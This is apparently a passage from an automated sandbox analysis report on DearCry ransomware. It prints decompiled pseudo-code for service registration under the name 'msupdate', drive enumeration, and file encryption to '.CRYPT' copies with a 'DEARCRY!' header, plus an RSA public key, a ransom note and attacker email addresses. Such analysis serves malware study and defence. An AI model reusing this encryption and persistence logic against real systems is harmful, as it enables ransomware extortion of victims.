                                                                0x00ab1e64
                                                                0x00ab1e6e
                                                                0x00ab1e7d
                                                                0x00ab1e81
                                                                0x00ab1e86
                                                                0x00ab1e8a
                                                                0x00ab1e8d
                                                                0x00ab1e91
                                                                0x00ab1fb7
                                                                0x00ab1fbc
                                                                0x00ab1e97
                                                                0x00ab1e97
                                                                0x00ab1e9f
                                                                0x00ab1eb0
                                                                0x00ab1eb4
                                                                0x00ab1eb9
                                                                0x00ab1ebc
                                                                0x00ab1ec6
                                                                0x00ab1ece
                                                                0x00ab1ed4
                                                                0x00ab1ed4
                                                                0x00ab1eda
                                                                0x00ab1ee2
                                                                0x00000000
                                                                0x00000000
                                                                0x00ab1ef0
                                                                0x00ab1ef0
                                                                0x00ab1efe
                                                                0x00ab1f03
                                                                0x00ab1f09
                                                                0x00ab1f0c
                                                                0x00ab1f16
                                                                0x00ab1f3e
                                                                0x00ab1f43
                                                                0x00ab1f48
                                                                0x00ab1f58
                                                                0x00ab1f6c
                                                                0x00ab1f6e
                                                                0x00ab1f73
                                                                0x00ab1f75
                                                                0x00ab1f7a
                                                                0x00ab1f80
                                                                0x00ab1f80
                                                                0x00ab1f82
                                                                0x00ab1f83
                                                                0x00ab1f87
                                                                0x00ab1f88
                                                                0x00ab1f8a
                                                                0x00ab1f8b
                                                                0x00ab1f8d
                                                                0x00ab1f92
                                                                0x00ab1f97
                                                                0x00ab1f98
                                                                0x00ab1f9d
                                                                0x00ab1f9d
                                                                0x00ab1f73
                                                                0x00ab1f16
                                                                0x00ab1fa0
                                                                0x00ab1fa1
                                                                0x00ab1fad
                                                                0x00ab1fad
                                                                0x00ab1ece
                                                                0x00ab1fb0
                                                                0x00ab1fb0
                                                                0x00ab1fc8
                                                                0x00ab1fc9
                                                                0x00ab1fd5
                                                                0x00ab1fd6
                                                                0x00ab1fdb
                                                                0x00ab1fdb
                                                                0x00ab1fde
                                                                0x00ab1fe3
                                                                0x00ab1fe5
                                                                0x00ab1fe7
                                                                0x00ab1fe8
                                                                0x00ab1fed
                                                                0x00ab1fed
                                                                0x00ab1ff0
                                                                0x00ab2001
                                                                0x00ab2006
                                                                0x00ab200c
                                                                0x00ab2012
                                                                0x00ab2017
                                                                0x00ab201d
                                                                0x00ab2023
                                                                0x00ab202f
                                                                0x00ab2030
                                                                0x00ab2031
                                                                0x00ab203c

                                                                APIs
                                                                • SetServiceStatus.ADVAPI32(00000000,00BE9ED0), ref: 00AB1D60
                                                                • _calloc.LIBCMT ref: 00AB1D7F
                                                                  • Part of subcall function 00B89D40: __calloc_impl.LIBCMT ref: 00B89D55
                                                                • _calloc.LIBCMT ref: 00AB1D91
                                                                  • Part of subcall function 00AB1000: _calloc.LIBCMT ref: 00AB100B
                                                                  • Part of subcall function 00AB1000: _calloc.LIBCMT ref: 00AB103A
                                                                  • Part of subcall function 00AB1000: _sprintf.LIBCMT ref: 00AB1067
                                                                • _sprintf.LIBCMT ref: 00AB1DB7
                                                                • _memset.LIBCMT ref: 00AB1DDB
                                                                • _getenv.LIBCMT ref: 00AB1DF5
                                                                • GetLogicalDrives.KERNELBASE ref: 00AB1E97
                                                                • _memset.LIBCMT ref: 00AB1EB4
                                                                • GetLogicalDriveStringsA.KERNEL32 ref: 00AB1EC6
                                                                • _sprintf.LIBCMT ref: 00AB1EFE
                                                                • GetDriveTypeA.KERNEL32(?), ref: 00AB1F11
                                                                • GetDriveTypeA.KERNEL32(?), ref: 00AB1F21
                                                                • _sprintf.LIBCMT ref: 00AB1F58
                                                                • _printf.LIBCMT ref: 00AB1FBC
                                                                • SetServiceStatus.ADVAPI32(00000000,00BE9ED0), ref: 00AB201D
                                                                Strings
                                                                • -----BEGIN RSA PUBLIC KEY-----MIIBCAKCAQEAyLBClz9hsFGRf9fk3z0zmY2rz2J1qqGfV48DSjPV4lcwnhCi4/5+C6UsAhk/dI4/5HwbfZBAiMySXNB3DxVB2hOrjDjIeVAkFjQgZ19B+KQFWkSo1ubeVdHjwdv74evE/ur9Lv9HM+89iZdzEpVPO+AjOTtsQgFNtmVecC2vmw9m60dgyR/1CJQSg6Moblo2NVF50AK3cIG2/lVh82ebge, xrefs: 00AB1E5F
                                                                • Your file has been encrypted! If you want to decrypt, please contact us. %s And please send me the following hash! %s, xrefs: 00AB1DAD
                                                                • WINDIR, xrefs: 00AB1DE7, 00AB1DF4, 00AB1E53
                                                                • |, xrefs: 00AB1FC9
                                                                • %c:\, xrefs: 00AB1EF8
                                                                • Your file has been encrypted! If you want to decrypt, please contact us. konedieyp@airmail.cc or uenwonken@memail.com And please send me the following hash! 638428e5021d4ae247b21acf9c0bf6f6, xrefs: 00AB1DB2, 00AB1F75, 00AB1F8A, 00AB1F8D
                                                                • %c:\%s, xrefs: 00AB1F4E
                                                                • AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA, xrefs: 00AB1DD6
                                                                • create rsa error, xrefs: 00AB1FB7
                                                                • readme.txt, xrefs: 00AB1F48
                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID: _calloc_sprintf$Drive$LogicalServiceStatusType_memset$DrivesStrings__calloc_impl_getenv_printf
                                                                • String ID: %c:\$%c:\%s$-----BEGIN RSA PUBLIC KEY-----MIIBCAKCAQEAyLBClz9hsFGRf9fk3z0zmY2rz2J1qqGfV48DSjPV4lcwnhCi4/5+C6UsAhk/dI4/5HwbfZBAiMySXNB3DxVB2hOrjDjIeVAkFjQgZ19B+KQFWkSo1ubeVdHjwdv74evE/ur9Lv9HM+89iZdzEpVPO+AjOTtsQgFNtmVecC2vmw9m60dgyR/1CJQSg6Moblo2NVF50AK3cIG2/lVh82ebge$AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$WINDIR$Your file has been encrypted! If you want to decrypt, please contact us. %s And please send me the following hash! %s$Your file has been encrypted! If you want to decrypt, please contact us. konedieyp@airmail.cc or uenwonken@memail.com And please send me the following hash! 638428e5021d4ae247b21acf9c0bf6f6$create rsa error$readme.txt$|
                                                                • API String ID: 1688361723-2853281545
                                                                • Opcode ID: 0e3cc56624081a40d0ef6242e58d51e43a27c160bcbcdb2e044d6316e02fb76b
                                                                • Instruction ID: 422a3e714fdd4925fdb42d7185106da64d97138ba26023f6dffecd2da077d4b0
                                                                • Opcode Fuzzy Hash: 0e3cc56624081a40d0ef6242e58d51e43a27c160bcbcdb2e044d6316e02fb76b
                                                                • Instruction Fuzzy Hash: 508165B19043819FC710FF349CD2AFB77E9AB84704F48056AF9859B262EB75D908C792
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 34%
                                                                			E00ADC290(char _a20, signed int _a80, signed int _a104) {
                                                                				char _v0;
                                                                				struct _MEMORYSTATUS _v32;
                                                                				long* _v40;
                                                                				long* _v48;
                                                                				void* __ebx;
                                                                				void* __edi;
                                                                				void* __esi;
                                                                				signed int _t19;
                                                                				void* _t22;
                                                                				void* _t23;
                                                                				void* _t48;
                                                                				void* _t59;
                                                                				intOrPtr* _t60;
                                                                				signed int _t61;
                                                                				long* _t70;
                                                                
                                                                				E00B8BB10(0x6c);
                                                                				_t19 =  *0xbe5970; // 0xe6e1d076
                                                                				_a104 = _t19 ^ _t61;
                                                                				_t60 = __imp__CryptAcquireContextW;
                                                                				_t22 =  *_t60( &_v0, 0, 0, 1, 0xf0000040); // executed
                                                                				_t59 = CryptGenRandom;
                                                                				_t48 = CryptReleaseContext;
                                                                				if(_t22 != 0) {
                                                                					if(CryptGenRandom(_v32.dwAvailPhys, 0x40,  &_a20) != 0) {
                                                                						E00B8BB10(8);
                                                                						_t70 =  *0xbb5120;
                                                                						_v40 = _t70;
                                                                						_push(0x40);
                                                                						_push( &_a20);
                                                                						E00AB6F80(_t60);
                                                                						_t61 = _t61 + 0x10;
                                                                					}
                                                                					CryptReleaseContext(_v32.dwMemoryLoad, 0);
                                                                				}
                                                                				_t23 =  *_t60( &(_v32.dwAvailPhys), 0, L"Intel Hardware Cryptographic Service Provider", 0x16, 0xf0000040); // executed
                                                                				if(_t23 != 0) {
                                                                					if(CryptGenRandom(_v40, 0x40,  &_v0) != 0) {
                                                                						E00B8BB10(8);
                                                                						_t70 =  *0xbb5120;
                                                                						 *_t61 = _t70;
                                                                						_push(0x40);
                                                                						_push( &_v0);
                                                                						E00AB6F80(_t60);
                                                                						_t61 = _t61 + 0x10;
                                                                					}
                                                                					CryptReleaseContext(_v48, 0);
                                                                				}
                                                                				E00ADC210(_t60, _t70);
                                                                				GlobalMemoryStatus( &_v32); // executed
                                                                				E00B8BB10(8);
                                                                				asm("fld1");
                                                                				 *_t61 = _t70;
                                                                				E00AB6F80(_t60);
                                                                				_t62 = _t61 + 0x10;
                                                                				_v32.dwMemoryLoad = GetCurrentProcessId();
                                                                				E00B8BB10(8);
                                                                				asm("fld1");
                                                                				 *(_t61 + 0x10) = _t70;
                                                                				E00AB6F80(_t60,  &(_v32.dwAvailPhys), 4,  &(_v32.dwTotalPhys));
                                                                				return E00B89C26(1, _t48, _a80 ^ _t62 + 0x00000010,  &(_v32.dwTotalPhys), _t59, _t60, 0x20);
                                                                			}


















                                                                0x00adc295
                                                                0x00adc29a
                                                                0x00adc2a1
                                                                0x00adc2a7
                                                                0x00adc2be
                                                                0x00adc2c0
                                                                0x00adc2c6
                                                                0x00adc2ce
                                                                0x00adc2e0
                                                                0x00adc2e7
                                                                0x00adc2ec
                                                                0x00adc2f2
                                                                0x00adc2f9
                                                                0x00adc2fb
                                                                0x00adc2fc
                                                                0x00adc301
                                                                0x00adc301
                                                                0x00adc30b
                                                                0x00adc30b
                                                                0x00adc320
                                                                0x00adc324
                                                                0x00adc336
                                                                0x00adc33d
                                                                0x00adc342
                                                                0x00adc348
                                                                0x00adc34f
                                                                0x00adc351
                                                                0x00adc352
                                                                0x00adc357
                                                                0x00adc357
                                                                0x00adc361
                                                                0x00adc361
                                                                0x00adc363
                                                                0x00adc36d
                                                                0x00adc378
                                                                0x00adc37d
                                                                0x00adc37f
                                                                0x00adc389
                                                                0x00adc38e
                                                                0x00adc397
                                                                0x00adc3a0
                                                                0x00adc3a5
                                                                0x00adc3a7
                                                                0x00adc3b1
                                                                0x00adc3d2

                                                                APIs
                                                                • CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000040,?,00000000,?,00ACA11B), ref: 00ADC2BE
                                                                • CryptGenRandom.ADVAPI32(00000000,00000040,?,?,00000000,?,00ACA11B), ref: 00ADC2DC
                                                                • CryptReleaseContext.ADVAPI32(00000000,00000000,?,00000000,?,00ACA11B), ref: 00ADC30B
                                                                • CryptAcquireContextW.ADVAPI32(?,00000000,Intel Hardware Cryptographic Service Provider,00000016,F0000040,?,00000000,?,00ACA11B), ref: 00ADC320
                                                                • CryptGenRandom.ADVAPI32(00000000,00000040,?,?,00000000,?,00ACA11B), ref: 00ADC332
                                                                • CryptReleaseContext.ADVAPI32(00000000,00000000,?,00000000,?,00ACA11B), ref: 00ADC361
                                                                • GlobalMemoryStatus.KERNEL32 ref: 00ADC36D
                                                                • GetCurrentProcessId.KERNEL32(?,?,?,00ACA11B), ref: 00ADC391
                                                                Strings
                                                                • Intel Hardware Cryptographic Service Provider, xrefs: 00ADC314
                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID: Crypt$Context$AcquireRandomRelease$CurrentGlobalMemoryProcessStatus
                                                                • String ID: Intel Hardware Cryptographic Service Provider
                                                                • API String ID: 2886239813-3323058758
                                                                • Opcode ID: 09ac96c603111f9ae6f372c4abd6907549cff1bff9430bbd316187c8eb6a339b
                                                                • Instruction ID: 9c4fe7cc02229a06823bf561868219fd98b30cfd493d52c30cc96f9a683cf550
                                                                • Opcode Fuzzy Hash: 09ac96c603111f9ae6f372c4abd6907549cff1bff9430bbd316187c8eb6a339b
                                                                • Instruction Fuzzy Hash: 46317471614306ABE620FB74DC42F6A77A8FF84704F808859F2849B2D5DEB5E404C7A6
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 100%
                                                                			E00AB2130(void* __eflags) {
                                                                				intOrPtr _v8;
                                                                				intOrPtr _v12;
                                                                				intOrPtr _v16;
                                                                				char* _v20;
                                                                				void* _t10;
                                                                				void* _t11;
                                                                				signed int _t12;
                                                                
                                                                				_v12 = 0;
                                                                				_v8 = 0;
                                                                				_v20 = "msupdate";
                                                                				_v16 = 0xab20b0;
                                                                				StartServiceCtrlDispatcherA((_t12 & 0xfffffff8) - 0x10); // executed
                                                                				E00AB1D10(_t10, _t11); // executed
                                                                				return 0;
                                                                			}










                                                                0x00ab213b
                                                                0x00ab213f
                                                                0x00ab2147
                                                                0x00ab214f
                                                                0x00ab2157
                                                                0x00ab215d
                                                                0x00ab2167

                                                                APIs
                                                                • StartServiceCtrlDispatcherA.ADVAPI32 ref: 00AB2157
                                                                  • Part of subcall function 00AB1D10: SetServiceStatus.ADVAPI32(00000000,00BE9ED0), ref: 00AB1D60
                                                                  • Part of subcall function 00AB1D10: _calloc.LIBCMT ref: 00AB1D7F
                                                                  • Part of subcall function 00AB1D10: _calloc.LIBCMT ref: 00AB1D91
                                                                  • Part of subcall function 00AB1D10: _sprintf.LIBCMT ref: 00AB1DB7
                                                                  • Part of subcall function 00AB1D10: _memset.LIBCMT ref: 00AB1DDB
                                                                  • Part of subcall function 00AB1D10: _getenv.LIBCMT ref: 00AB1DF5
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID: Service_calloc$CtrlDispatcherStartStatus_getenv_memset_sprintf
                                                                • String ID: msupdate
                                                                • API String ID: 3495658242-3668653166
                                                                • Opcode ID: ac0bef21d045872f239c62493608831590270720ef38aeb6495ef91ebc05c884
                                                                • Instruction ID: 75f581f3387b3265160ef5d37477d024e093d3d833d952dee88d9ce74a5fc7d8
                                                                • Opcode Fuzzy Hash: ac0bef21d045872f239c62493608831590270720ef38aeb6495ef91ebc05c884
                                                                • Instruction Fuzzy Hash: 18E0EC715182089E8390FF78C94A25ABBE8DB44214F508E6AA4ACC3251FA7195148B87
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 59%
                                                                			E00AB1231(void* __ebx, void* __edi) {
                                                                				void* __esi;
                                                                				signed int _t62;
                                                                				intOrPtr _t71;
                                                                				intOrPtr _t81;
                                                                				intOrPtr _t86;
                                                                				intOrPtr _t94;
                                                                				void* _t98;
                                                                				intOrPtr _t100;
                                                                				intOrPtr _t103;
                                                                				intOrPtr _t106;
                                                                				void* _t110;
                                                                				intOrPtr _t112;
                                                                				void* _t119;
                                                                				intOrPtr _t121;
                                                                				intOrPtr _t122;
                                                                				intOrPtr _t133;
                                                                				intOrPtr _t139;
                                                                				void* _t144;
                                                                				intOrPtr _t147;
                                                                				intOrPtr _t148;
                                                                				void* _t149;
                                                                				CHAR* _t150;
                                                                				void* _t151;
                                                                				signed int _t152;
                                                                				void* _t154;
                                                                				void* _t158;
                                                                				intOrPtr _t159;
                                                                				void* _t160;
                                                                				signed int _t161;
                                                                				void* _t163;
                                                                				void* _t164;
                                                                				void* _t165;
                                                                				void* _t166;
                                                                				void* _t167;
                                                                
                                                                				_t143 = __edi;
                                                                				lstrcpynA(_t160 + 0xb8, _t150, 0x50c);
                                                                				lstrcatA(_t160 + 0xb4, ".CRYPT");
                                                                				_t62 = L00B8A96D(_t150, "rb+"); // executed
                                                                				_t161 = _t160 + 8;
                                                                				 *(_t161 + 0x14) = _t62;
                                                                				if(_t62 == __edi) {
                                                                					L31:
                                                                					_t63 = _t62 | 0xffffffff;
                                                                				} else {
                                                                					_t137 = _t161 + 0xb0;
                                                                					_t62 = L00B8A96D(_t161 + 0xb0, "wb"); // executed
                                                                					_t152 = _t62;
                                                                					_t161 = _t161 + 8;
                                                                					_t169 = _t152 - __edi;
                                                                					if(_t152 == __edi) {
                                                                						goto L31;
                                                                					} else {
                                                                						 *((char*)(_t161 + 0x88)) = 0;
                                                                						E00B8BB40(__edi, _t161 + 0x81, __edi, 0x30);
                                                                						_push(0x30);
                                                                						_push(_t161 + 0x88);
                                                                						E00AB6FF0();
                                                                						_push(_t152);
                                                                						_push(8);
                                                                						_push(1);
                                                                						_push("DEARCRY!"); // executed
                                                                						E00B8ADA3(__ebx, _t137, _t143, _t152, _t169); // executed
                                                                						_t8 = E00AB70E0(_t137, _t169, _t154) + 1; // 0x1
                                                                						_t120 = _t8;
                                                                						_t145 = E00B8A294(_t8, _t137, _t143, _t8);
                                                                						_t71 = E00B8BB40(_t145, _t145, 0, _t120);
                                                                						_push(1);
                                                                						_push(_t154);
                                                                						_push(_t145);
                                                                						_t138 = _t161 + 0xc0;
                                                                						_push(_t161 + 0xc0);
                                                                						E00AB7100(0x30);
                                                                						_t163 = _t161 + 0x4c;
                                                                						 *((intOrPtr*)(_t163 + 0x24)) = _t71;
                                                                						_t170 = _t71;
                                                                						if(_t71 >= 0) {
                                                                							_push(_t152);
                                                                							_push(4);
                                                                							_push(1);
                                                                							_push(_t163 + 0x2c);
                                                                							E00B8ADA3(_t120, _t138, _t145, _t152, __eflags);
                                                                							_t139 =  *((intOrPtr*)(_t163 + 0x34));
                                                                							_push(_t152);
                                                                							_push(_t139);
                                                                							_push(1);
                                                                							_push(_t145);
                                                                							E00B8ADA3(_t120, _t139, _t145, _t152, __eflags);
                                                                							asm("cdq");
                                                                							_t120 = _t139;
                                                                							_push(_t145);
                                                                							asm("adc ebx, 0x0");
                                                                							E00B89CB2(_t120, _t139, _t145, _t152, __eflags);
                                                                							_push(_t152);
                                                                							_push(4);
                                                                							_push(1);
                                                                							_push(_t163 + 0x68);
                                                                							 *((intOrPtr*)(_t163 + 0x70)) = 4;
                                                                							E00B8ADA3(_t120, _t139, _t145, _t152, __eflags);
                                                                							_t140 =  *((intOrPtr*)(_t163 + 0x60));
                                                                							E00B89E5A( *((intOrPtr*)(_t163 + 0x60)),  *((intOrPtr*)(_t163 + 0x60)), _t163 + 0x74); // executed
                                                                							_push(_t152);
                                                                							_push(8);
                                                                							_push(1);
                                                                							_push(_t163 + 0x9c);
                                                                							E00B8ADA3(_t120,  *((intOrPtr*)(_t163 + 0x60)), _t145, _t152, __eflags);
                                                                							_t164 = _t163 + 0x4c;
                                                                							_t158 =  *((intOrPtr*)(_t163 + 0x44)) + 0x18;
                                                                							asm("adc ebx, 0x0");
                                                                							_t81 = E00AB5990();
                                                                							_t146 = _t81;
                                                                							 *((intOrPtr*)(_t164 + 0x38)) = _t81;
                                                                							E00AB6270(_t140, _t81, E00AB2F00(), 0, 0, 0, 1);
                                                                							_t137 = _t164 + 0x9c;
                                                                							E00AB6270(_t164 + 0x9c, _t146, 0, 0, _t164 + 0x9c, _t164 + 0xb8, 1);
                                                                							_t86 = E00B8AC24( *((intOrPtr*)(_t164 + 0x60)), 1, 0x100000,  *((intOrPtr*)(_t164 + 0x44))); // executed
                                                                							_t147 = _t86;
                                                                							_t165 = _t164 + 0x40;
                                                                							__eflags = _t147;
                                                                							if(__eflags <= 0) {
                                                                								L8:
                                                                								_t121 =  *((intOrPtr*)(_t165 + 0x20));
                                                                								_t148 =  *((intOrPtr*)(_t165 + 0x28));
                                                                								E00AB6580(_t148, _t121, _t165 + 0x10);
                                                                								_push(_t152);
                                                                								_push( *((intOrPtr*)(_t165 + 0x1c)));
                                                                								_push(1);
                                                                								_push(_t121);
                                                                								E00B8ADA3(_t121, _t137, _t148, _t152, __eflags);
                                                                								E00AB5920(_t137, _t148, _t148);
                                                                								_push(_t148);
                                                                								E00B89CB2(_t121, _t137, _t148, _t152, __eflags);
                                                                								_push(_t152); // executed
                                                                								E00B8B1A7(_t121, _t137, _t148, _t152, __eflags); // executed
                                                                								_t159 =  *((intOrPtr*)(_t165 + 0x3c));
                                                                								_push(0);
                                                                								_push(0);
                                                                								_push(0);
                                                                								_push(_t159); // executed
                                                                								E00B8A637(_t121, _t137, _t148, _t152, __eflags); // executed
                                                                								_t122 =  *((intOrPtr*)(_t165 + 0x54));
                                                                								_t166 = _t165 + 0x38;
                                                                								__eflags = _t122;
                                                                								if(__eflags < 0) {
                                                                									L12:
                                                                									_t94 =  *((intOrPtr*)(_t166 + 0x18));
                                                                								} else {
                                                                									if(__eflags > 0) {
                                                                										L11:
                                                                										_t94 = 0x100000;
                                                                									} else {
                                                                										__eflags =  *((intOrPtr*)(_t166 + 0x18)) - 0x100000;
                                                                										if( *((intOrPtr*)(_t166 + 0x18)) <= 0x100000) {
                                                                											goto L12;
                                                                										} else {
                                                                											goto L11;
                                                                										}
                                                                									}
                                                                								}
                                                                								_t149 = 0;
                                                                								 *((intOrPtr*)(_t166 + 0x10)) = _t94;
                                                                								__eflags = _t122;
                                                                								if(__eflags >= 0) {
                                                                									if(__eflags > 0) {
                                                                										goto L18;
                                                                									} else {
                                                                										__eflags =  *((intOrPtr*)(_t166 + 0x18));
                                                                										if(__eflags > 0) {
                                                                											while(1) {
                                                                												L18:
                                                                												__eflags = _t94;
                                                                												if(__eflags < 0) {
                                                                													_t94 = 0x100000;
                                                                													 *((intOrPtr*)(_t166 + 0x10)) = 0x100000;
                                                                												}
                                                                												_push(_t159);
                                                                												_push(_t94);
                                                                												_push(1);
                                                                												_push("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); // executed
                                                                												_t98 = E00B8ADA3(_t122, _t137, _t149, 0, __eflags); // executed
                                                                												asm("cdq");
                                                                												_t167 = _t166 + 0x10;
                                                                												_t149 = _t149 + _t98;
                                                                												asm("adc esi, edx");
                                                                												_t100 =  *((intOrPtr*)(_t167 + 0x18)) - _t149;
                                                                												__eflags = _t100;
                                                                												_t137 = _t122;
                                                                												asm("sbb edx, esi");
                                                                												 *((intOrPtr*)(_t167 + 0x34)) = _t122;
                                                                												if(__eflags < 0) {
                                                                													L24:
                                                                													 *((intOrPtr*)(_t167 + 0x10)) = _t100;
                                                                												} else {
                                                                													if(__eflags > 0) {
                                                                														L23:
                                                                														 *((intOrPtr*)(_t167 + 0x10)) = 0x100000;
                                                                													} else {
                                                                														__eflags = _t100 - 0x100000;
                                                                														if(__eflags <= 0) {
                                                                															goto L24;
                                                                														} else {
                                                                															goto L23;
                                                                														}
                                                                													}
                                                                												}
                                                                												_push(0);
                                                                												_push(0);
                                                                												_push(_t149);
                                                                												_push(_t159); // executed
                                                                												E00B8A637(_t122, _t137, _t149, 0, __eflags); // executed
                                                                												_t166 = _t167 + 0x10;
                                                                												__eflags = 0 - _t122;
                                                                												if(__eflags < 0) {
                                                                													L17:
                                                                													_t94 =  *((intOrPtr*)(_t166 + 0x10));
                                                                													continue;
                                                                												}
                                                                												if(__eflags <= 0) {
                                                                													__eflags = _t149 -  *((intOrPtr*)(_t166 + 0x18));
                                                                													if(__eflags < 0) {
                                                                														goto L17;
                                                                													}
                                                                												}
                                                                												goto L28;
                                                                											}
                                                                										}
                                                                									}
                                                                								}
                                                                								L28:
                                                                								_push(_t159);
                                                                								E00B8B1A7(_t122, _t137, _t149, 0, __eflags);
                                                                								E00B8A686( *((intOrPtr*)(_t166 + 0x30))); // executed
                                                                								_t161 = _t166 + 8;
                                                                								_t63 = 0;
                                                                							} else {
                                                                								while(1) {
                                                                									asm("cdq");
                                                                									_t133 =  *((intOrPtr*)(_t165 + 0x18)) + _t147;
                                                                									_t103 =  *((intOrPtr*)(_t165 + 0x1c));
                                                                									asm("adc eax, edx");
                                                                									_push(0);
                                                                									_push(_t103);
                                                                									_push(_t133);
                                                                									 *((intOrPtr*)(_t165 + 0x28)) = _t133;
                                                                									 *((intOrPtr*)(_t165 + 0x2c)) = _t103;
                                                                									E00B8A637(_t120,  *((intOrPtr*)(_t165 + 0x14)), _t147, _t152, __eflags); // executed
                                                                									_t142 =  *((intOrPtr*)(_t165 + 0x38));
                                                                									_t145 =  *((intOrPtr*)(_t165 + 0x44));
                                                                									_t106 = E00AB6560( *((intOrPtr*)(_t165 + 0x38)),  *((intOrPtr*)(_t165 + 0x38)),  *((intOrPtr*)(_t165 + 0x30)), _t165 + 0x28,  *((intOrPtr*)(_t165 + 0x44)), _t147,  *((intOrPtr*)(_t165 + 0x14)));
                                                                									_t163 = _t165 + 0x24;
                                                                									__eflags = _t106;
                                                                									if(__eflags == 0) {
                                                                										break;
                                                                									}
                                                                									_push(_t152);
                                                                									_push( *((intOrPtr*)(_t163 + 0x10)));
                                                                									_push(1);
                                                                									_push( *((intOrPtr*)(_t163 + 0x20))); // executed
                                                                									_t110 = E00B8ADA3(_t120, _t142, _t145, _t152, __eflags); // executed
                                                                									asm("cdq");
                                                                									_t158 = _t158 + _t110;
                                                                									_push(0);
                                                                									asm("adc ebx, edx");
                                                                									_push(_t120);
                                                                									_push(_t158);
                                                                									_push(_t152); // executed
                                                                									E00B8A637(_t120, _t142, _t145, _t152, __eflags); // executed
                                                                									_t137 =  *((intOrPtr*)(_t163 + 0x34));
                                                                									_t112 = E00B8AC24(_t145, 1, 0x100000,  *((intOrPtr*)(_t163 + 0x34))); // executed
                                                                									_t147 = _t112;
                                                                									_t165 = _t163 + 0x30;
                                                                									__eflags = _t147;
                                                                									if(__eflags > 0) {
                                                                										continue;
                                                                									} else {
                                                                										goto L8;
                                                                									}
                                                                									goto L32;
                                                                								}
                                                                								E00AB59B0(_t145,  *((intOrPtr*)(_t163 + 0x28)));
                                                                								_push(_t152);
                                                                								E00B8B1A7(_t120, _t142, _t145, _t152, __eflags);
                                                                								_t137 =  *((intOrPtr*)(_t163 + 0x1c));
                                                                								_push( *((intOrPtr*)(_t163 + 0x1c)));
                                                                								goto L30;
